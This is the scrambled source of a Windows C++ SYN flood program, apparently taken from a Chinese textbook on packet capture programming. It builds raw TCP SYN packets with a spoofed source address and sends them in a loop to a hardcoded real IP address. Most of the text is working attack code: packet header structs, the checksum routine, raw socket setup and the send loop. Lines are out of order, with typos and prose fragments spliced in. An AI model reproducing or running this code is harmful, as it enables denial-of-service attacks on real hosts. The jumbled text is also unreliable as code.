synflood攻击

unsigned long ip_dst; //Destination address
}IPHEADER,*PIPHEADER;
//TCP包头结构体
typedef struct tcp_header {
WORD SourPort; //源端口号
WORD DestPort; //目的端口号
#define SEQ 0x12121212
//IPv4包头结构体
typedef struct ip_header {
unsigned char ver_ihl; //Version (4 bits) + Internet header length (4 bits)
unsigned char tos; //Type of service
ip_header.flags_fo=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.crc=0;
ip_header.ip_src=inet_addr("1.1.1.1");
ip_header.ip_dst=inet_addr("210.40.7.143");
printf("Please enter the number of send packet:\n");
scanf("%d",&number);
InitWinsock2();
CreateWinsock();
InitPackageHeader();
SendPackage();
//初始化IP头部
ip_header.ver_ihl=(4<<4|sizeof(ip_header)/sizeof(ULONG));
ip_header.tlen=htons(sizeof(ip_header)+sizeof(TCPHEADER));
ip_header.identification=1;
WORD UrgPtr; //紧急指针
}TCPHEADER,*PTCPHEADER;
//定义TCP伪首部 注意：TCP与UDP有相同的伪头部结构
typedef struct _psdhdr{
unsigned int saddr; //源地址
unsigned int daddr; //目的地址
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
《网络数据包捕获与应用的VC++6.0编程》
美国GeneChiu基金资助
网络数据包捕获与应用的VC++6.0编程
研究生 方松茂
/*
*程序11.
*程序名：SYNFlood_WINSOCK.CPP
*本程序通过使用Winsock2原始套接字提供函数sendto()，手动构造TCP SYN帧，对目标主机进行SYN Flood攻击
}
//计算校验和
inline USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
unsigned char ttl; //Time to live
unsigned char proto; //Protocol
unsigned short crc; //Header checksum
unsigned long ip_src; //Source address
DWORD SeqNo; //序号
DWORD AckNo; //确认序号
BYTE HLen; //首部长度（保留位）
BYTE Flag; //标识（保留位）
WORD Window; //窗口大小
WORD ChkSum; //校验和
memcpy(tmpBuf,&psd_header,psdsz);
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz);
tcp_header.ChkSum=checksum((USHORT*)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz);
ip_header.crc=checksum((USHORT*)tmpBuf,ipsz);
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);
closesocket(m_Socket);
WSACleanup();
return 0;
}
//初始化Winsock2
void InitWinsock2() {
WSADATA wsaData;
WORD version;
int ret;
version=MAKEWORD(2,2);
0x00,0x00,0x00,0x00,0x00,0x00）都是伪造的不存在的地址。将大量请求联接的数据报源源
不断地发送到目标主机，而对方无法把回应数据报传回源主机，这样就实现了对主机进行
SYN洪水攻击了。程序中的关键在于，封装在数据报中的校验和必须正确，否则目标主机
int ipsz,tcpsz,psdsz,itsz,ptsz;
ipsz=sizeof(IPHEADER);
tcpsz=sizeof(TCPHEADER);
psdsz=sizeof(PSDHEADER);
ptsz=psdsz+tcpsz;
itsz=ipsz+tcpsz;
ret=WSAStartup(version,&wsaData);
if(ret!=0) {
printf("Failed to load winsock2 library.\n");
return;
}
}
void CreateWinsock() {
//创建TCP套接字
CHAR mbz;
CHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSDHEADER,*PPSDHEADER;
//全局变量
SOCKET m_Socket;
//struct addrinfo *dest;
re=sendto(m_Socket,(char*)tmpBuf,52,0,(SOCKADDR*)&dest,sizeof(dest));
if(re==SOCKET_ERROR) {
break;
}
count++;
}
}
程序名：SYNFlood_WinPcap.CPP
void SendPackage() {
int count=0,re;
dest.sin_family=AF_INET;
dest.sin_port=htons(destport);
dest.sin_addr.s_addr=inet_addr("210.40.7.143");
while(count<=number) {
m_Socket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(m_Socket<0) {
printf("Socket Error\n");
return;
}
//设置头包含选项
int re=setsockopt(m_Socket,IPPROTO_IP,IP_HDRINCL,(char*)&optval,sizeof(optval));
*/
#include "winsock2.h"
#include "ws2tcpip.h"
#include "string.h"
#include "stdio.h"
#include "wtypes.h"
#pragma comment(lib,"ws2_32.lib")
//#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
psd_header.daddr=ip_header.ip_dst; pd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(TCPHEADER));
// tmpBuf=(u_char*)malloc(40*sizeof(u_char));
if(re==SOCKET_ERROR) {
printf("ERROR!\n");
return;
}
}